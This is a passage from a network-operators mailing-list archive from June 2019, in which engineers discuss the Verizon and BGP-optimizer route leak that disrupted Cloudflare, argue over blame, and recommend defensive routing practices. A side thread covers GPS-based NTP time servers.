help make the interactive CLI session less >>>>> annoying. >>>>> >>>>> >Verizon they charge $500.00 just to get a public IP and I want to >>>>> avoid >>>>> >that if possible. >>>>> >>>>> You might look into have it call out / maintain a connection back to >>>>> your infrastructure. >>>>> >>>>> >>>>> /mark >>>>> >>>> -------------- next part -------------- An HTML attachment was scrubbed... URL: From plunin at plunin.net Mon Jun 24 16:09:20 2019 From: plunin at plunin.net (Pavel Lunin) Date: Mon, 24 Jun 2019 16:09:20 +0000 Subject: CloudFlare issues? In-Reply-To: <20190624141122.GC47956@vurt.meerval.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> Message-ID: <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> >I'd like to point everyone to an op-ed I wrote on the topic of "BGP optimizers": >https://seclists.org/nanog/2017/Aug/318 Hehe, I haven't seen this text before. Can't agree more. Get your tie back on Job, nobody listened again. More seriously, I see no difference between prefix hijacking and the so called bgp optimisation based on completely fake announces on behalf of other people. If ever your upstream or any other party who your company pays money to does this dirty thing, now it's just the right moment to go explain them that you consider this dangerous for your business and are looking for better partners among those who know how to run internet without breaking it. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jabley at hopcount.ca Mon Jun 24 18:14:19 2019 From: jabley at hopcount.ca (Joe Abley) Date: Mon, 24 Jun 2019 14:14:19 -0400 Subject: Cost effective time servers In-Reply-To: <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <83e78542-28b3-98c9-db1c-992066e9ab90@posteo.net> Message-ID: On 21 Jun 2019, at 10:57, Quan Zhou wrote: > Yep, went through the same route until I figured out that GPS time is a bit ahead of UTC. The clocks on the GPS satellites are set to GPST which I think (I'm not a time geek so this is going to make someone cringe) is UTC without leap seconds or other corrections relating to rotation of the earth. However, the messages sent to GPS receivers include the offset between GPST and UTC as well as the GPST timestamp. The receivers can use both together to obtain a measure of UTC accurate to about 100 nanoseconds. Seems to me (again, not time geek, stop throwing things) that the use of GPST is an internal implementation detail chosen because it's easier to adjust an offset that rarely changes than it is to adjust atomic clocks floating in space. The system (including the system-internal adjustment of GPST with the offset) still produces a reasonably accurate measure of UTC. Also I imagine occasional leap seconds causing GPS navigators to jump spontaneously to the left which is probably more amusing in my imagination than in real life. Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: Message signed with OpenPGP URL: From mark.tinka at seacom.mu Mon Jun 24 18:16:39 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Mon, 24 Jun 2019 20:16:39 +0200 Subject: CloudFlare issues? In-Reply-To: <20190624141122.GC47956@vurt.meerval.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> Message-ID: <34594eb9-b20f-68df-633e-73211003a835@seacom.mu> On 24/Jun/19 16:11, Job Snijders wrote: > > - deploy RPKI based BGP Origin validation (with invalid == reject) > - apply maximum prefix limits on all EBGP sessions > - ask your router vendor to comply with RFC 8212 ('default deny') > - turn off your 'BGP optimizers' I cannot over-emphasize the above, especially the BGP optimizers. Mark. From esr at thyrsus.com Mon Jun 24 18:17:37 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Mon, 24 Jun 2019 14:17:37 -0400 Subject: Cost effective time servers In-Reply-To: <20190621032509.GA22074@haller.ws> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <20190621032509.GA22074@haller.ws> Message-ID: <20190624181737.GA35397@thyrsus.com> Patrick : > On 2019-06-20 20:18, Jay Hennigan wrote: > > If you want to go really cheap and don't value your time, but do value > > knowing the correct time, a GPS receiver with a USB interface and a > > Raspberry Pi would do the trick. > > https://www.ntpsec.org/white-papers/stratum-1-microserver-howto/ > > RPi + GPS Hat because time across USB has much jitter. I wrote that white paper, and a good big chunk of the software in the recipe is mine. The rest is about 25% percent of Dave Mills's reference implementation of NTP. USB jitter isn't too bad, actually. Unacceptable if you're doing pgysics experiments but an order of magitude below the expected accuracy of WAN time synchronization. That said, my recipe *is* better. And a fun, simple, dirt-cheap build. -- Eric S. Raymond From hugge at nordu.net Mon Jun 24 20:10:54 2019 From: hugge at nordu.net (=?UTF-8?Q?Fredrik_Korsb=c3=a4ck?=) Date: Mon, 24 Jun 2019 22:10:54 +0200 Subject: CloudFlare issues? In-Reply-To: <34594eb9-b20f-68df-633e-73211003a835@seacom.mu> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <34594eb9-b20f-68df-633e-73211003a835@seacom.mu> Message-ID: <1a57cd67-2330-f269-4105-abb6c25de4d4@nordu.net> On 2019-06-24 20:16, Mark Tinka wrote: > > > On 24/Jun/19 16:11, Job Snijders wrote: > >> >> - deploy RPKI based BGP Origin validation (with invalid == reject) >> - apply maximum prefix limits on all EBGP sessions >> - ask your router vendor to comply with RFC 8212 ('default deny') >> - turn off your 'BGP optimizers' > > I cannot over-emphasize the above, especially the BGP optimizers. > > Mark. > +1 https://honestnetworker.net/2019/06/24/leaking-your-optimized-routes-to-stub-networks-that-then-leak-it-to-a-tier1-transit-that-doesnt-filter/ -- hugge From mark.tinka at seacom.mu Mon Jun 24 21:24:31 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Mon, 24 Jun 2019 23:24:31 +0200 Subject: CloudFlare issues? In-Reply-To: <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> Message-ID: <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> On 24/Jun/19 18:09, Pavel Lunin wrote: > > Hehe, I haven't seen this text before. Can't agree more. > > Get your tie back on Job, nobody listened again. > > More seriously, I see no difference between prefix hijacking and the > so called bgp optimisation based on completely fake announces on > behalf of other people. > > If ever your upstream or any other party who your company pays money > to does this dirty thing, now it's just the right moment to go explain > them that you consider this dangerous for your business and are > looking for better partners among those who know how to run internet > without breaking it. We struggled with a number of networks using these over eBGP sessions they had with networks that shared their routing data with BGPmon. It sent off all sorts of alarms, and troubleshooting it was hard when a network thinks you are de-aggregating massively, and yet you know you aren't. Each case took nearly 3 weeks to figure out. BGP optimizers are the bane of my existence. Mark. From justin at cloudflare.com Mon Jun 24 22:04:10 2019 From: justin at cloudflare.com (Justin Paine) Date: Mon, 24 Jun 2019 15:04:10 -0700 Subject: CloudFlare issues? In-Reply-To: <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: FYI for the group -- we just published this: https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/ _________________ *Justin Paine* Director of Trust & Safety PGP: BBAA 6BCE 3305 7FD6 6452 7115 57B6 0114 DE0B 314D 101 Townsend St., San Francisco, CA 94107 On Mon, Jun 24, 2019 at 2:25 PM Mark Tinka wrote: > > > On 24/Jun/19 18:09, Pavel Lunin wrote: > > > > > Hehe, I haven't seen this text before. Can't agree more. > > > > Get your tie back on Job, nobody listened again. > > > > More seriously, I see no difference between prefix hijacking and the > > so called bgp optimisation based on completely fake announces on > > behalf of other people. > > > > If ever your upstream or any other party who your company pays money > > to does this dirty thing, now it's just the right moment to go explain > > them that you consider this dangerous for your business and are > > looking for better partners among those who know how to run internet > > without breaking it. > > We struggled with a number of networks using these over eBGP sessions > they had with networks that shared their routing data with BGPmon. It > sent off all sorts of alarms, and troubleshooting it was hard when a > network thinks you are de-aggregating massively, and yet you know you > aren't. > > Each case took nearly 3 weeks to figure out. > > BGP optimizers are the bane of my existence. > > Mark. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Tue Jun 25 00:03:26 2019 From: beecher at beecher.cc (Tom Beecher) Date: Mon, 24 Jun 2019 20:03:26 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do not work on 701. My comments are my own opinions only. Respectfully, I believe Cloudflare’s public comments today have been a real disservice. This blog post, and your CEO on Twitter today, took every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. You are 100% right that 701 should have had some sort of protection mechanism in place to prevent this. But do we know they didn’t? Do we know it was there and just setup wrong? Did another change at another time break what was there? I used 701 many jobs ago and they absolutely had filtering in place; it saved my bacon when I screwed up once and started readvertising a full table from a 2nd provider. They smacked my session down an I got a nice call about it. You guys have repeatedly accused them of being dumb without even speaking to anyone yet from the sounds of it. Shouldn’t we be working on facts? Should they have been easier to reach once an issue was detected? Probably. They’re certainly not the first vendor to have a slow response time though. Seems like when an APAC carrier takes 18 hours to get back to us, we write it off as the cost of doing business. It also would have been nice, in my opinion, to take a harder stance on the BGP optimizer that generated he bogus routes, and the steel company that failed BGP 101 and just gladly reannounced one upstream to another. 701 is culpable for their mistakes, but there doesn’t seem like there is much appetite to shame the other contributors. You’re right to use this as a lever to push for proper filtering , RPKI, best practices. I’m 100% behind that. We can all be a hell of a lot better at what we do. This stuff happens more than it should, but less than it could. But this industry is one big ass glass house. What’s that thing about stones again? On Mon, Jun 24, 2019 at 18:06 Justin Paine via NANOG wrote: > FYI for the group -- we just published this: > https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/ > > > _________________ > *Justin Paine* > Director of Trust & Safety > PGP: BBAA 6BCE 3305 7FD6 6452 7115 57B6 0114 DE0B 314D > 101 Townsend St., San Francisco, CA 94107 > > > > > On Mon, Jun 24, 2019 at 2:25 PM Mark Tinka wrote: > >> >> >> On 24/Jun/19 18:09, Pavel Lunin wrote: >> >> > >> > Hehe, I haven't seen this text before. Can't agree more. >> > >> > Get your tie back on Job, nobody listened again. >> > >> > More seriously, I see no difference between prefix hijacking and the >> > so called bgp optimisation based on completely fake announces on >> > behalf of other people. >> > >> > If ever your upstream or any other party who your company pays money >> > to does this dirty thing, now it's just the right moment to go explain >> > them that you consider this dangerous for your business and are >> > looking for better partners among those who know how to run internet >> > without breaking it. >> >> We struggled with a number of networks using these over eBGP sessions >> they had with networks that shared their routing data with BGPmon. It >> sent off all sorts of alarms, and troubleshooting it was hard when a >> network thinks you are de-aggregating massively, and yet you know you >> aren't. >> >> Each case took nearly 3 weeks to figure out. >> >> BGP optimizers are the bane of my existence. >> >> Mark. >> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From surfer at mauigateway.com Tue Jun 25 00:11:36 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Mon, 24 Jun 2019 17:11:36 -0700 Subject: CloudFlare issues? Message-ID: <20190624171136.43D0571A@m0117460.ppops.net> --- beecher at beecher.cc wrote: From: Tom Beecher :: Shouldn’t we be working on facts? Nah, this is NANOG... >;-) :: But this industry is one big ass glass house. What’s that :: thing about stones again? We all have broken windows? :) scott From james.jun at towardex.com Tue Jun 25 00:19:14 2019 From: james.jun at towardex.com (James Jun) Date: Mon, 24 Jun 2019 20:19:14 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: <20190625001914.GA6943@mis10.towardex.com> On Mon, Jun 24, 2019 at 08:03:26PM -0400, Tom Beecher wrote: > > You are 100% right that 701 should have had some sort of protection > mechanism in place to prevent this. But do we know they didn???t? Do we know > it was there and just setup wrong? Did another change at another time break > what was there? I used 701 many jobs ago and they absolutely had filtering > in place; it saved my bacon when I screwed up once and started > readvertising a full table from a 2nd provider. They smacked my session > down an I got a nice call about it. In my past (and current) dealings with AS701, I do agree that they have generally been good about filtering customer sessions and running a tight ship. But, manual config changes being what they are, I suppose an honest mistake or oversight issue had occurred at 701 today that made them contribute significantly to today's outage. > > It also would have been nice, in my opinion, to take a harder stance on the > BGP optimizer that generated he bogus routes, and the steel company that > failed BGP 101 and just gladly reannounced one upstream to another. 701 is > culpable for their mistakes, but there doesn???t seem like there is much > appetite to shame the other contributors. I think the biggest question to be asked here -- why the hell is a BGP optimizer (Noction in this case) injecting fake more specifics to steer traffic? And why did a regional provider providing IP transit (DQE), use such a dangerous accident-waiting-to- happen tool in their network, especially when they have other ASNs taking transit feeds from them, with all these fake man-in-the-middle routes being injected? I get that BGP optimizers can have some use cases, but IMO, in most of the situations, (especially if you are a network provider selling transit and taking peering yourself) a well crafted routing policy and interconnection strategy eliminates the need for implementing flawed route selection optimizers in your network. The notion of BGP Optimizer generating fake more specifics is absurd, and is definitely not a tool that is designed to "fail -> safe". Instead of failing safe, it has failed epically and catastrophically today. I remember long time ago, when Internap used to sell their FCP product, Internap SE were advising the customer to make appropriate adjustments to local-preference to prefer the FCP generated routes to ensure optimal selection. That is a much more sane design choice, than injecting man-in-the-middle attacks and relying on customers to prevent a disaster. Any time I have a sit down with any engineer who "outsources" responsibility of maintaining robustness principle onto their customer, it makes me want to puke. James From ross at tajvar.io Tue Jun 25 00:50:39 2019 From: ross at tajvar.io (Ross Tajvar) Date: Mon, 24 Jun 2019 20:50:39 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: Maybe I'm in the minority here, but I have higher standards for a T1 than any of the other players involved. Clearly several entities failed to do what they should have done, but Verizon is not a small or inexperienced operation. Taking 8+ hours to respond to a critical operational problem is what stood out to me as unacceptable. And really - does it matter if the protection *was* there but something broke it? I don't think it does. Ultimately, Verizon failed implement correct protections on their network. And then failed to respond when it became a problem. On Mon, Jun 24, 2019, 8:06 PM Tom Beecher wrote: > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do not > work on 701. My comments are my own opinions only. > > Respectfully, I believe Cloudflare’s public comments today have been a > real disservice. This blog post, and your CEO on Twitter today, took every > opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. > > You are 100% right that 701 should have had some sort of protection > mechanism in place to prevent this. But do we know they didn’t? Do we know > it was there and just setup wrong? Did another change at another time break > what was there? I used 701 many jobs ago and they absolutely had filtering > in place; it saved my bacon when I screwed up once and started > readvertising a full table from a 2nd provider. They smacked my session > down an I got a nice call about it. > > You guys have repeatedly accused them of being dumb without even speaking > to anyone yet from the sounds of it. Shouldn’t we be working on facts? > > Should they have been easier to reach once an issue was detected? > Probably. They’re certainly not the first vendor to have a slow response > time though. Seems like when an APAC carrier takes 18 hours to get back to > us, we write it off as the cost of doing business. > > It also would have been nice, in my opinion, to take a harder stance on > the BGP optimizer that generated he bogus routes, and the steel company > that failed BGP 101 and just gladly reannounced one upstream to another. > 701 is culpable for their mistakes, but there doesn’t seem like there is > much appetite to shame the other contributors. > > You’re right to use this as a lever to push for proper filtering , RPKI, > best practices. I’m 100% behind that. We can all be a hell of a lot better > at what we do. This stuff happens more than it should, but less than it > could. > > But this industry is one big ass glass house. What’s that thing about > stones again? > > On Mon, Jun 24, 2019 at 18:06 Justin Paine via NANOG > wrote: > >> FYI for the group -- we just published this: >> https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/ >> >> >> _________________ >> *Justin Paine* >> Director of Trust & Safety >> PGP: BBAA 6BCE 3305 7FD6 6452 7115 57B6 0114 DE0B 314D >> 101 Townsend St., San Francisco, CA 94107 >> >> >> >> >> On Mon, Jun 24, 2019 at 2:25 PM Mark Tinka wrote: >> >>> >>> >>> On 24/Jun/19 18:09, Pavel Lunin wrote: >>> >>> > >>> > Hehe, I haven't seen this text before. Can't agree more. >>> > >>> > Get your tie back on Job, nobody listened again. >>> > >>> > More seriously, I see no difference between prefix hijacking and the >>> > so called bgp optimisation based on completely fake announces on >>> > behalf of other people. >>> > >>> > If ever your upstream or any other party who your company pays money >>> > to does this dirty thing, now it's just the right moment to go explain >>> > them that you consider this dangerous for your business and are >>> > looking for better partners among those who know how to run internet >>> > without breaking it. >>> >>> We struggled with a number of networks using these over eBGP sessions >>> they had with networks that shared their routing data with BGPmon. It >>> sent off all sorts of alarms, and troubleshooting it was hard when a >>> network thinks you are de-aggregating massively, and yet you know you >>> aren't. >>> >>> Each case took nearly 3 weeks to figure out. >>> >>> BGP optimizers are the bane of my existence. >>> >>> Mark. >>> >>> -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Tue Jun 25 00:57:29 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 20:57:29 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: <8E5FE05E-A703-4AEF-B0ED-7267DBE64CA0@puck.nether.net> > On Jun 24, 2019, at 8:03 PM, Tom Beecher wrote: > > Disclaimer : I am a Verizon employee via the Yahoo acquisition. I do not work on 701. My comments are my own opinions only. > > Respectfully, I believe Cloudflare’s public comments today have been a real disservice. This blog post, and your CEO on Twitter today, took every opportunity to say “DAMN THOSE MORONS AT 701!”. They’re not. I presume that seeing a CF blog post isn’t regular for you. :-). — please read on > You are 100% right that 701 should have had some sort of protection mechanism in place to prevent this. But do we know they didn’t? Do we know it was there and just setup wrong? Did another change at another time break what was there? I used 701 many jobs ago and they absolutely had filtering in place; it saved my bacon when I screwed up once and started readvertising a full table from a 2nd provider. They smacked my session down an I got a nice call about it. > > You guys have repeatedly accused them of being dumb without even speaking to anyone yet from the sounds of it. Shouldn’t we be working on facts? > > Should they have been easier to reach once an issue was detected? Probably. They’re certainly not the first vendor to have a slow response time though. Seems like when an APAC carrier takes 18 hours to get back to us, we write it off as the cost of doing business. > > It also would have been nice, in my opinion, to take a harder stance on the BGP optimizer that generated he bogus routes, and the steel company that failed BGP 101 and just gladly reannounced one upstream to another. 701 is culpable for their mistakes, but there doesn’t seem like there is much appetite to shame the other contributors. > > You’re right to use this as a lever to push for proper filtering , RPKI, best practices. I’m 100% behind that. We can all be a hell of a lot better at what we do. This stuff happens more than it should, but less than it could. > > But this industry is one big ass glass house. What’s that thing about stones again? I’m careful to not talk about the people impacted. There were a lot of people impacted, roughly 3-4% of the IP space was impacted today and I personally heard from more providers than can be counted on a single hand about their impact. Not everyone is going to write about their business impact in public. I’m not authorized to speak for my employer about any impacts that we may have had (for example) but if there was impact to 3-4% of IP space, statistically speaking there’s always a chance someone was impacted. I do agree about the glass house thing. There’s a lot of blame to go around, and today I’ve been quoting “go read _normal accidents_” to people. It’s because sufficiently complex systems tend to have complex failures where numerous safety systems or controls were bypassed. Those of us with more than a few days of experience likely know what some of them are, we also don’t know if those safety systems were disabled as part of debugging by one or more parties. Who hasn’t dropped an ACL to debug why it isn’t working, or if that fixed the problem? I don’t know what happened, but I sure know the symptoms and sets of fixes that the industry should apply and enforce. I have been communicating some of them in public and many of them in private today, including offering help to other operators with how to implement some of the fixes. It’s a bad day when someone changes your /16 to two /17’s and sends them out regardless of if the packets flow through or not. These things aren’t new, nor do I expect things to be significantly better tomorrow either. I know people at VZ and suspect once they woke up they did something about it. I also know how hard it is to contact someone you don’t have a business relationship with. A number of the larger providers have no way for a non-customer to phone, message or open a ticket online about problems they may have. Who knows, their ticket system may be in the cloud and was also impacted. What I do know is that if 3-4% of the home/structures were flooded or temporarily unusable because of some form of disaster or evacuation, people would be proposing better engineering methods or inspection techniques for these structures. If you are a small network and just point default, there is nothing for you to see here and nothing that you can do. If you speak BGP with your upstream, you can filter out some of the bad routes. You perhaps know that 1239, 3356 and others should only be seen directly from a network like 701 and can apply filters of this sort to prevent from accepting those more specifics. I don’t believe it’s just 174 that the routes went to, but they were one of the networks aside from 701 where I saw paths from today. (Now the part where you as a 3rd party to this event can help!) If you peer, build some pre-flight and post-flight scripts to check how many routes you are sending. Most router vendors support either on-box scripting, or you can do a show | display xml, JSON or some other structured language you can automate with. AS_PATH filters are simple, low cost and can help mitigate problems. Consider monitoring your routes with a BMP server (pmacct has a great one!). Set max-prefix (and monitor if you near thresholds!). Configure automatic restarts if you won’t be around to fix it. I hate to say “automate all the things”, but at least start with monitoring so you can know when things go bad. Slack and other things have great APIs and you can have alerts sent to your systems telling you of problems. Try hard to automate your debugging. Monitor for announcements of your space. The new RIS Live API lets you do this and it’s super easy to spin something up. Hold your suppliers accountable as well. If you are a customer of a network that was impacted or accepted these routes, ask for a formal RFO and what the corrective actions are. Don’t let them off the hook as it will happen again. If you are using route optimization technology, make double certain it’s not possible to leak routes. Cisco IOS and Noction are two products that I either know or have been told don’t have default safe settings enabled. I learned early on in the 90s the perils of having “everything on, unprotected” by default. There were great bugs in software that allowed devices to be compromised at scale which made comparable cleanup problems to what we’ve seen in recent years with IoT or other technologies. Tell your vendors you want them to be secure by default, and vote with your personal and corporate wallet when you can. It won’t always work, some vendors will not be able or willing to clean up their acts, but unless we act together as an industry to clean up the glass inside our own homes, expect someone from the outside to come at some point who can force it, and it may not even make sense (ask anyone who deals with security audit checklists) but you will be required to do it. Please take action within your power at your company. Stand up for what is right for everyone with this shared risk and threat. You may not enjoy who the messenger is (or the one who is the loudest) but set that aside for the industry. - Jared PS. We often call ourselves network engineers or architects. If we are truly that, we are using those industry standards as building blocks to ensure a solid foundation. Make sure your foundation is stable. Learn from others mistakes to design and operate the best network feasible. From jared at puck.nether.net Tue Jun 25 01:01:32 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 21:01:32 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> Message-ID: <09245C0B-705E-4107-9630-E9A47D8BF6A4@puck.nether.net> > On Jun 24, 2019, at 8:50 PM, Ross Tajvar wrote: > > Maybe I'm in the minority here, but I have higher standards for a T1 than any of the other players involved. Clearly several entities failed to do what they should have done, but Verizon is not a small or inexperienced operation. Taking 8+ hours to respond to a critical operational problem is what stood out to me as unacceptable. Are you talking about a press response or a technical one? The impacts I saw were for around 2h or so based on monitoring I’ve had up since 2007. Not great but far from the worst as Tom mentioned. I’ve seen people cease to announce IP space we reclaimed from them for months (or years) because of stale config. I’ve also seen routes come back from the dead because they were pinned to an interface that was down for 2 years but never fully cleaned up. (Then the telco looped the circuit, interface came up, route in table, announced globally — bad day all around). > And really - does it matter if the protection *was* there but something broke it? I don't think it does. Ultimately, Verizon failed implement correct protections on their network. And then failed to respond when it became a problem. I think it does matter. As I said in my other reply, people do things like drop ACLs to debug. Perhaps that’s unsafe, but it is something you do to debug. Not knowing what happened, I dunno. It is also 2019 so I hold networks to a higher standard than I did in 2009 or 1999. - Jared From ross at tajvar.io Tue Jun 25 01:39:13 2019 From: ross at tajvar.io (Ross Tajvar) Date: Mon, 24 Jun 2019 21:39:13 -0400 Subject: CloudFlare issues? In-Reply-To: <09245C0B-705E-4107-9630-E9A47D8BF6A4@puck.nether.net> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <09245C0B-705E-4107-9630-E9A47D8BF6A4@puck.nether.net> Message-ID: On Mon, Jun 24, 2019 at 9:01 PM Jared Mauch wrote: > > > On Jun 24, 2019, at 8:50 PM, Ross Tajvar wrote: > > > > Maybe I'm in the minority here, but I have higher standards for a T1 than any of the other players involved. Clearly several entities failed to do what they should have done, but Verizon is not a small or inexperienced operation. Taking 8+ hours to respond to a critical operational problem is what stood out to me as unacceptable. > > Are you talking about a press response or a technical one? The impacts I saw were for around 2h or so based on monitoring I’ve had up since 2007. Not great but far from the worst as Tom mentioned. I’ve seen people cease to announce IP space we reclaimed from them for months (or years) because of stale config. I’ve also seen routes come back from the dead because they were pinned to an interface that was down for 2 years but never fully cleaned up. (Then the telco looped the circuit, interface came up, route in table, announced globally — bad day all around). > A technical one - see below from CF's blog post: "It is unfortunate that while we tried both e-mail and phone calls to reach out to Verizon, at the time of writing this article (over 8 hours after the incident), we have not heard back from them, nor are we aware of them taking action to resolve the issue." > > And really - does it matter if the protection *was* there but something broke it? I don't think it does. Ultimately, Verizon failed implement correct protections on their network. And then failed to respond when it became a problem. > > I think it does matter. As I said in my other reply, people do things like drop ACLs to debug. Perhaps that’s unsafe, but it is something you do to debug. Not knowing what happened, I dunno. It is also 2019 so I hold networks to a higher standard than I did in 2009 or 1999. > Dropping an ACL is fine, but then you have to clean it up when you're done. Your customers don't care that you *almost* didn't have an outage because you *almost* did your job right. Yeah, there's a difference between not following policy and not having a policy, but neither one is acceptable behavior from a T1 imo. If it's that easy to cause an outage by not following policy, then I argue that the policy should be better, or *something *should be better - monitoring, automation, sanity checks. etc. There are lots of ways to solve that problem. And in 2019 I really think there's no excuse for a T1 not to be doing that kind of thing. > - Jared -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Tue Jun 25 01:59:04 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 24 Jun 2019 21:59:04 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> <20190624141122.GC47956@vurt.meerval.net> <389YFhwUbb2N_1cJWv102KL5XhIbfXp-CbYLBAWB68wpqgMigmq7QHrUPAsOq_yNCQ3Yp5szlwkTA175wr8T5jUgYCz2rbZiGH1DXvRV3QQ=@plunin.net> <828b9483-149f-423d-b67e-54d2e888aba1@seacom.mu> <09245C0B-705E-4107-9630-E9A47D8BF6A4@puck.nether.net> Message-ID: > On Jun 24, 2019, at 9:39 PM, Ross Tajvar wrote: > > > On Mon, Jun 24, 2019 at 9:01 PM Jared Mauch wrote: > > > > > On Jun 24, 2019, at 8:50 PM, Ross Tajvar wrote: > > > > > > Maybe I'm in the minority here, but I have higher standards for a T1 than any of the other players involved. Clearly several entities failed to do what they should have done, but Verizon is not a small or inexperienced operation. Taking 8+ hours to respond to a critical operational problem is what stood out to me as unacceptable. > > > > Are you talking about a press response or a technical one? The impacts I saw were for around 2h or so based on monitoring I’ve had up since 2007. Not great but far from the worst as Tom mentioned. I’ve seen people cease to announce IP space we reclaimed from them for months (or years) because of stale config. I’ve also seen routes come back from the dead because they were pinned to an interface that was down for 2 years but never fully cleaned up. (Then the telco looped the circuit, interface came up, route in table, announced globally — bad day all around). > > > > A technical one - see below from CF's blog post: > "It is unfortunate that while we tried both e-mail and phone calls to reach out to Verizon, at the time of writing this article (over 8 hours after the incident), we have not heard back from them, nor are we aware of them taking action to resolve the issue.” I don’t know if CF is a customer (or not) of VZ, but it’s likely easy enough to find with a looking glass somewhere, but they were perhaps a few of the 20k prefixes impacted (as reported by others). We have heard from them and not a lot of the other people, but most of them likely don’t do business with VZ directly. I’m not sure VZ is going to contact them all or has the capability to respond to them all (or respond to non-customers except via a press release). > > > And really - does it matter if the protection *was* there but something broke it? I don't think it does. Ultimately, Verizon failed implement correct protections on their network. And then failed to respond when it became a problem. > > > > I think it does matter. As I said in my other reply, people do things like drop ACLs to debug. Perhaps that’s unsafe, but it is something you do to debug. Not knowing what happened, I dunno. It is also 